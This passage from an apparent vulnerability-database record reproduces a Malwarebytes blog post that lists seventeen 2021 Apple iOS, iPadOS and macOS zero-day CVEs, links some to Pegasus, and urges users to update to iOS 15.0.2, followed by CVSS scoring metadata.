a query about whether the previously found bug was being exploited by NSO Group's Pegasus surveillance software.\n\n### Zero-days for days\n\nOver the last months Apple has had to close quite a few zero-days in iOS, iPadOS,and macOS. Seventeen if I have counted correctly.\n\n * [CVE-2021-1782](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1782>) - iOS-kernel: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-1870](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1870>) \u2013 WebKit: A remote attacker may be able to cause arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-1871](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1871>) \u2013 WebKit: A remote attacker may be able to cause arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-1879](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1879>) \u2013 WebKit: Processing maliciously crafted web content may lead to universal cross site scripting. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-30657](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30657>) \u2013 Gatekeeper: A malicious application may bypass Gatekeeper checks. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-30661](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30661>) \u2013 WebKit: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-30663](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30663>) \u2013 WebKit: Processing maliciously crafted web content may lead to arbitrary code execution.\n * [CVE-2021-30665](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30665>) \u2013 WebKit: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-30666](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30666>) \u2013 WebKit: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-30713](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30713>) \u2013 TCC: A malicious application may be able to bypass Privacy preferences. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-30761](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30761>) \u2013 WebKit: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-30762](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30762>) \u2013 WebKit: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-308](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30807>)[0](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30807>)[7](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30807>) \u2013 IOMobileFrameBuffer: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited. Tied to Pegasus (see above).\n * [CVE-2021-30858](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30858>) \u2013 WebKit: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n * [CVE-2021-30860](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30860>) \u2013 CoreGraphics: Processing a maliciously crafted PDF may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited. This is FORCEDENTRY (see above).\n * [CVE-2021-30869](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30869>) \u2013 XNU: A malicious application may be able to execute arbitrary code with kernel privileges. [Reportedly](<https://www.helpnetsecurity.com/2021/09/24/cve-2021-30869/>) being actively exploited by attackers in conjunction with a previously known WebKit vulnerability.\n\nAnd last but not least, the latest addition\u2014CVE-2021-30883\u2014which means that of the 17 zero-days that were fixed over the course of a handful of months, at least 16 were found to be actively exploited.\n\n### Update\n\nApple advises users to update to [iOS 15.0.2 and iPadOS 15.0.2](<https://support.apple.com/en-gb/HT212846>) which can be done through the automatic update function or iTunes.\n\nStay safe, everyone!\n\nThe post [Update now! Apple patches another privilege escalation bug in iOS and iPadOS](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/10/update-now-apple-patches-another-privilege-escalation-bug-in-ios-and-ipados/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-12T16:07:53", "type": "malwarebytes", "title": "Update now! Apple patches another privilege escalation bug in iOS and iPadOS", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-30883"], "modified": "2021-10-12T16:07:53", "id": "MALWAREBYTES:11D4071979D3FC1E6028AA8D71EB87F4", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/10/update-now-apple-patches-another-privilege-escalation-bug-in-ios-and-ipados/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}
CVE-2021-1782, an iOS in-the-wild vulnerability in vouchers
